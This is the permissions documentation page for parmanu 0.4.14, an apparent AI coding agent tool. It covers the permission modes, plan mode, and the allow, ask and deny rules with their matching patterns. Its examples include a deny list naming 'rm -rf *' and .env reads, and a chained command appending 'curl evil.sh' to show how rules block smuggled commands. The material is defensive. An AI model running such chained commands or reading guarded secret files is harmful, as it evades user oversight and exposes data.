parmanu 0.4.14

Permissions

In the chat, parmanu decides before every tool call whether it runs, asks you first, or is refused. It reads the same permissions settings Claude Code does, so a project set up for Claude Code behaves the same way in parmanu.

anu -p and anu run don't use permissions: they run unattended, as before.

Modes

ModeWhat runs without asking
auto (parmanu's default)Everything, except calls an ask rule matches. Destructive commands still ask.
defaultRead-only tools and calls an allow rule matches. Edits and commands ask.
acceptEditsAs default, plus file edits.
planRead-only tools only. Everything else is refused until you approve the plan.
bypassPermissionsEverything. Only deny rules still hold.
  • Shift+Tab steps through auto, default, acceptEdits and plan. It includes bypassPermissions only if the chat started in it.
  • The footer shows the mode when it isn't auto.
  • Thinking levels moved to Alt+T.
  • Start in a mode with anu --permission-mode plan, or set permissions.defaultMode in settings.
  • dontAsk is read as bypassPermissions.

Plan mode

In plan mode the model reads, searches and thinks, then calls exit_plan_mode with its plan. You can then:

  • Approve the plan. The chat goes back to the mode it was in before plan mode, or to acceptEdits if you pick that.
  • Keep planning, with feedback. The model revises the plan and asks again.

When parmanu asks

The question shows the tool and its command or path. The answers are:

  • Yes: run it this once.
  • Yes, and don't ask again:
    • For a command, adds the rule Bash(<that command>) for the rest of the chat.
    • For an edit, switches to acceptEdits.
    • For other tools, adds a rule for that tool.
  • No: refuse. Anything you type goes back to the model with the refusal.

Rules

Rules go in any settings file that hooks are read from:

  • .claude/settings.json
  • .claude/settings.local.json
  • ~/.claude/settings.json
  • .anu/settings.json
  • ~/.anu/settings.json
json
{
  "permissions": {
    "allow": ["Bash(npm test *)", "Bash(git diff:*)", "Edit(src/**)"],
    "ask": ["Bash(git push *)"],
    "deny": ["Read(.env)", "Edit(.env)", "Bash(rm -rf *)"],
    "defaultMode": "acceptEdits"
  }
}

The lists from all the files add up. The last file that sets defaultMode wins.

A project you haven't trusted (/trust) still gets its deny and ask rules, because they only make parmanu more careful. Its allow rules and defaultMode are skipped, so a cloned repository can't switch the questions off.

The checks run in this order:

  1. deny refuses the call. A deny rule holds in every mode.
  2. Plan mode refuses anything that isn't read-only.
  3. bypassPermissions runs the rest.
  4. ask asks.
  5. allow runs the call without asking.

How rules name tools

RuleCovers
Bash, Bash(<command>)bash, and the checks set_check and baseline
Edit(<path>)edit and write
Write(<path>)write
Read(<path>)read, glob and grep
Glob, Grepglob, grep
mcp__server, mcp__server__toola server's tools, or one of them
any other namethe tool with that name (skills, extension tools)

A rule without parentheses covers every call of its tool. Bash(*) is the same as Bash.

Command patterns

  • Bash(npm test) matches exactly npm test.
  • Bash(npm run test:*) matches npm run test and anything that starts with npm run test .
  • Bash(git diff *) uses * as a wildcard, and the trailing * is optional: it matches git diff too.

A command chained with &&, ||, ; or | is checked part by part:

  • An allow rule must match every part.
  • A deny or ask rule needs to match only one part.

So Bash(npm *) does not allow npm test && curl evil.sh.

Path patterns

Paths use gitignore-style patterns. ** crosses folders; * and ? don't.

PatternMeans
.env, *.envthat name at any depth in the project
src/**, ./src/**, /src/**below src in the project root
secrets/everything below secrets
~/.ssh/**in your home folder
//etc/hostsan absolute path

On Windows, paths are compared without regard to case.

/permissions

  • /permissions lists the mode and every rule, with the file it came from.
  • /permissions allow|ask|deny <rule> adds a rule for this chat.
  • /permissions mode <mode> switches the mode.

To keep a rule, write it in a settings file.

This page is built from docs/permissions.md in parmanu 0.4.14.